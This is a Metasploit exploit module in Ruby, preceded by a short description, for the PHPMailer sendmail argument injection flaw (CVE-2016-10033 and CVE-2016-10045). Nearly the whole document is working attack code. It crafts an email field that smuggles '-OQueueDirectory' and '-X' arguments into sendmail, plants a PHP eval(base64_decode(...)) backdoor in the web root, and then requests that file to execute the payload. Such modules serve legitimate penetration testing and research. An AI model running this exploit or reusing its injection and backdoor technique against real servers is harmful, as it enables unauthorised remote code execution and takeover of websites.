PHPMailer versions up to and including 5.2.19 are affected by a vulnerability which can be leveraged by an attacker to write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed to the sendmail binary. This Metasploit module writes a payload to the web root of the webserver before then executing it with an HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful exploitation can take a few minutes.
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PHPMailer Sendmail Argument Injection',
'Description' => %q{
PHPMailer versions up to and including 5.2.19 are affected by a
vulnerability which can be leveraged by an attacker to write a file with
partially controlled contents to an arbitrary location through injection
of arguments that are passed to the sendmail binary. This module
writes a payload to the web root of the webserver before then executing
it with an HTTP request. The user running PHPMailer must have write
access to the specified WEB_ROOT directory and successful exploitation
can take a few minutes.
},
'Author' => [
'Dawid Golunski', # vulnerability discovery and original PoC
'Spencer McIntyre' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2016-10033'],
['CVE', '2016-10045'],
['EDB', '40968'],
['EDB', '40969'],
['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],
['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']
],
'DisclosureDate' => 'Dec 26 2016',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload' => {'DisableNops' => true},
'Targets' => [
['PHPMailer <5.2.18', {}],
['PHPMailer 5.2.18 - 5.2.19', {}]
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']),
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www'])
], self.class)
register_advanced_options(
[
OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])
], self.class)
end
def trigger(trigger_uri)
print_status("Sleeping before requesting the payload from: #{trigger_uri}")
page_found = false
sleep_time = 10
wait_time = datastore['WAIT_TIMEOUT']
print_status("Waiting for up to #{wait_time} seconds to trigger the payload")
while wait_time > 0
sleep(sleep_time)
wait_time -= sleep_time
res = send_request_cgi(
'method' => 'GET',
'uri' => trigger_uri
)
if res.nil?
if page_found or session_created?
print_good('Successfully triggered the payload')
break
end
next
end
next unless res.code == 200
if res.body.length == 0 and not page_found
print_good('Successfully found the payload')
page_found = true
end
end
end
def exploit
payload_file_name = "#{rand_text_alphanumeric(8)}.php"
payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
if target.name == 'PHPMailer <5.2.18'
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
elsif target.name == 'PHPMailer 5.2.18 - 5.2.19'
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
else
fail_with(Failure::NoTarget, 'The specified version is not supported')
end
data = Rex::MIME::Message.new
data.add_part('submit', nil, nil, 'form-data; name="action"')
data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
data.add_part(email, nil, nil, 'form-data; name="email"')
data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')
print_status("Writing the backdoor to #{payload_file_path}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
register_files_for_cleanup(payload_file_path)
trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))
end
end